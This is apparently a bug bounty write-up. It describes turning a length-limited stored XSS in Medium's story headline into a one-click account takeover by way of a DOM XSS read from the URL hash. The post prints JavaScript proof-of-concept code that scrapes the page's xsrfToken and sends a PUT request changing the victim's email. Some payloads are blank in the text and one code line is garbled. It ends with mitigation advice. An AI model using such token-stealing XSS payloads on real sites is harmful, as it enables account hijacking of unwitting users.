Two days ago, I found a simple, limited XSS, so, I developed it to be a One-click full account takeover.

How did it start ?

I was searching on google for an XSS vectors, I found a link to Medium’s page that had XSS vectors. When I opened it, I got XSSed, left me curious to take a look inside the page, there were something new here that caused this, after reading the source code, I found that headline is not being filtered . 

I registered with an account and created a new story with headline:



And I got:


As shown, I was granted XSS, so, I’m going to try to bring an XSS file from outside because the headline had a limited length. 
For my first attempt here, I tried to bring XSS file form another server, like
Here’s how I did it:


Whenever I try to open the page, nothing happens, because there were a CSP . IE does not support CSP , but I want more damage for the PoC .  

What is CSP? 

CSP stands for Content Security Policy . 

Is an W3C specification offering the possibility to instruct the client browser from which location and/or which type of resources are allowed to be loaded. To define a loading behavior, the CSP specification use “directive” where a directive defines a loading behavior for a target resource type. - By (OWASP)

Medium’s CSP is: 


If you see the CSP the script-src use unsafe-inline without nonce, that’s why the page doesn’t prevent the XSS in the original page.

It’s a common mistake as Michele Spagnuolo and Lukas Weichselbaum said at HITB conference .


Though I found this, but I didn’t stop there, I was thinking to create a good PoC for stealing CSRF token, and make a request since the email change doesn’t require a password confirmation.  But wait, I couldn’t write a full script in the headline because the length of the headline is quite short, and the single and double quotes were changed to Unicode, nothing worked I went to sleep. In the next day I checked Facebook and chatted with some friends about my problem, they gave me advises but nothing worked here too.  Then I got this idea where I change the stored XSS to DOM XSS and it was really a great idea , but I was not sure about it .


The token was in the same page; it’s called xsrfToken

Now time for some javascript :) For headline name I used:


The document.wirte for write the new PoC on page , decodeURIComponent for the URL decode, and all of the new PoC will be in the  window.location.hash


I wrote this simple token finder and tested locally.

function myFunction() { 
var str = document.body.innerHTML; 
var n = str.lastIndexOf('xsrfToken'); 
var result = str.substring(n + 12); 
if(result.length > 16){ result = result.substring(0,16); 
alert('Your token is ' + result);
<img src='x' onerror='myFunction()'> 

I used this to check page for xsrfToken and show in alert box locally, then I used it in the medium website, and img tag for triggering the XSS.

PoC :<script>function myFunction(){var str = document.body.innerHTML;var n = str.lastIndexOf('xsrfToken');var result = str.substring(n + 12);if(result.length > 16) {result = result.substring(0,16); alert(result); }</script><img src=x onerror="myFunction()">


Works good !

But after get the token I wasn’t  able to send request ! Because the change request sent through PUT  method and SOP prevent send the request from another origin .

So I need to make the request form the current page . So I wrote the full poc that send request to with json data email

PoC :

<script> function myFunction() {
 var str = document.body.innerHTML;
 var n = str.lastIndexOf('xsrfToken');
 var result = str.substring(n   12);
 if(result.length > 16) {result = result.substring(0,16); alert('Your token is ' +  result) };
 var xhr = new XMLHttpRequest();'PUT', '');
 xhr.setRequestHeader('Content-Type', 'application/json');
 xhr.setRequestHeader('X-XSRF-Token', result);
 xhr.onload = function() {
  if (xhr.status === 200) {
 } } ;
} </script>
<img onerror="myFunction();" src=x>

Full PoC here .

And the PUT request worked, and the email was changed successfully!


I sent the full PoC and I got reply in the same day, 2 days later, they contacted and rewarded me with a $100, I was kind of disappointed but at least I got a medium shirt. 

Updated : I got medium’s shirt :D


See the PoC video :


  • Using nonce in your CSP. 
  • Make password confirmation for email change mechanism. 
  • When you set new feature make sure it is secure.

That is all thanks for read .If you like it you can follow me on my twitter account @Abdulahhusam .